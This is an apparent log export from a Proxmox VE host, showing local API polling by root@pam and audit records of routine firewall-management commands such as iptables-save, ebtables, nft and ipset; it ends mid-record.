{"@timestamp":1781965156548,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1087"} {"@timestamp":1781964295804,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.804:60410): arch=c000003e syscall=59 success=no exit=-2 a0=7fff8a6f7690 a1=6424ab476200 a2=6424ab454680 a3=5 items=1 ppid=58001 pid=58002 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965974963,"@rawstring":"node=pve type=EXECVE msg=audit(1781965974.963:67893): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965715486,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.486:66797): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc138840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64157 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975866,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.866:67914): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=61a2debf0740 items=0 ppid=1156 pid=65220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964355825,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.825:60682): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965156548,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964293633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964293.633:60400): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965974958,"@rawstring":"node=pve type=EXECVE msg=audit(1781965974.958:67890): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965715479,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.479:66796): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13ad40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64156 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.861:67913): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e4480 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355774,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.774:60681): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965156548,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:15 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781964293633,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964293.633:60399): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57991 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965974929,"@rawstring":"node=pve type=EXECVE msg=audit(1781965974.929:67887): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965715472,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.472:66795): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e6130 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64155 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975856,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.856:67912): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13d550 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65219 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355749,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.749:60680): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965156548,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 918"} {"@timestamp":1781964293627,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964293.627:60397): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965969954,"@rawstring":"node=pve type=EXECVE msg=audit(1781965969.954:67886): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965715465,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.465:66794): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13ad40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64154 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975850,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.850:67911): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ede40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65218 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355733,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.733:60679): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965155439,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:15 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964293627,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964293.627:60396): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57990 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965969946,"@rawstring":"node=pve type=EXECVE msg=audit(1781965969.946:67883): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965715458,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.458:66793): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f90f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64153 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975843,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.843:67910): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc14a300 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65217 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355694,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.694:60678): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965155439,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 906"} {"@timestamp":1781964288617,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964288.617:60394): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57989 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965741,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.741:67880): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965715449,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.449:66792): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64152 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975838,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.838:67909): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ede40 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65216 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355649,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.649:60676): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965154223,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964288617,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964288.617:60393): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57989 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965738,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.738:67879): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965715440,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.440:66791): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64151 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975830,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.830:67908): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ae0d70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355612,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.612:60675): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965154223,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:13 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 924"} {"@timestamp":1781964288605,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964288.605:60391): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57988 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965737,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.737:67878): argc=1 a0=\"date\""} {"@timestamp":1781965715434,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.434:66790): arch=c000003e syscall=59 success=yes exit=0 a0=59db8105bb60 a1=59db81067e80 a2=59db81035680 a3=5 items=2 ppid=64144 pid=64150 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975820,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.820:67907): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355593,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.593:60674): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965154223,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964288605,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964288.605:60390): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57988 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965733,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.733:67876): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965715429,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.429:66789): arch=c000003e syscall=59 success=yes exit=0 a0=59db5a688ac8 a1=7ffca2263050 a2=59db81035680 a3=59db5a66c24e items=2 ppid=64144 pid=64146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.814:67906): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65213 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355583,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.583:60673): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965153216,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:12 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 502"} {"@timestamp":1781964285750,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.750:60386): arch=c000003e syscall=59 success=no exit=-2 a0=7ffca54df670 a1=56c911bc21c0 a2=56c911ba0680 a3=5 items=1 ppid=57981 pid=57982 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965724,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.724:67875): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965715428,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.428:66788): arch=c000003e syscall=59 success=yes exit=0 a0=7ffca2263010 a1=59db81057200 a2=59db81035680 a3=5 items=2 ppid=64144 pid=64145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975807,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.807:67905): arch=c000003e syscall=59 success=yes exit=0 a0=56e1078a5e90 a1=56e1078a2c10 a2=56e107884680 a3=5 items=2 ppid=65206 pid=65212 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355559,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.559:60672): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965153216,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:12 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964285661,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964285.661:60368): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd93c894b0 a1=5b0f2e85b310 a2=5b0f2e854680 a3=5 items=1 ppid=57962 pid=57963 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965717,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.717:67874): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965715423,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.423:66786): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64144 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975806,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.806:67904): arch=c000003e syscall=59 success=yes exit=0 a0=56e0ed47dac8 a1=7ffcc0dc0130 a2=56e107884680 a3=56e0ed46124e items=2 ppid=65206 pid=65208 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355547,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.547:60671): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965153216,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:12 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964283596,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964283.596:60358): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965710,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.710:67873): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965715413,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.413:66785): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64143 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975804,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.804:67903): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcc0dc00f0 a1=56e10788b310 a2=56e107884680 a3=5 items=2 ppid=65206 pid=65207 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355536,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.536:60670): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965153216,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:11 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 910"} {"@timestamp":1781964283596,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964283.596:60357): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57952 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965701,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.701:67872): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965715403,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.403:66784): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64142 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.800:67901): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65206 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355520,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.520:60669): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965151998,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:19:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781964283590,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964283.590:60355): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57951 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965694,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.694:67870): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965715397,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.397:66783): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b00480 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64141 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975789,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.789:67900): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65205 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964355513,"@rawstring":"node=pve type=EXECVE msg=audit(1781964355.513:60668): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965151998,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:19:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964283590,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964283.590:60354): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57951 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965965688,"@rawstring":"node=pve type=EXECVE msg=audit(1781965965.688:67869): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965715387,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965715.387:66782): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e25b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64140 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965975781,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965975.781:67899): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 